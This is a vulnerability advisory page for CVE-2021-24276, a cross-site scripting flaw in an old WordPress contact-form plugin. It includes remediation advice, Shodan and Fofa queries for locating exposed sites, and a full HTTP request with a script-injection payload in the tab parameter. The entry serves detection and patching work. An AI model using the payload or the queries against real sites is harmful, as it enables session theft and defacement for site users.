🔙 목록으로 돌아가기

CVE-2021-24276: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting

TitleWordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.08366
CVE IDCVE-2021-24276
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/contact-form-plugin/
Fofa Querybody=/wp-content/plugins/contact-form-plugin/
Tags cve2021 cve wordpress wp-plugin wpscan packetstorm supsystic vuln

🔍 Vulnerability Description

WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.

🌐 HTTP Request

GET /wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24276.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24276.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A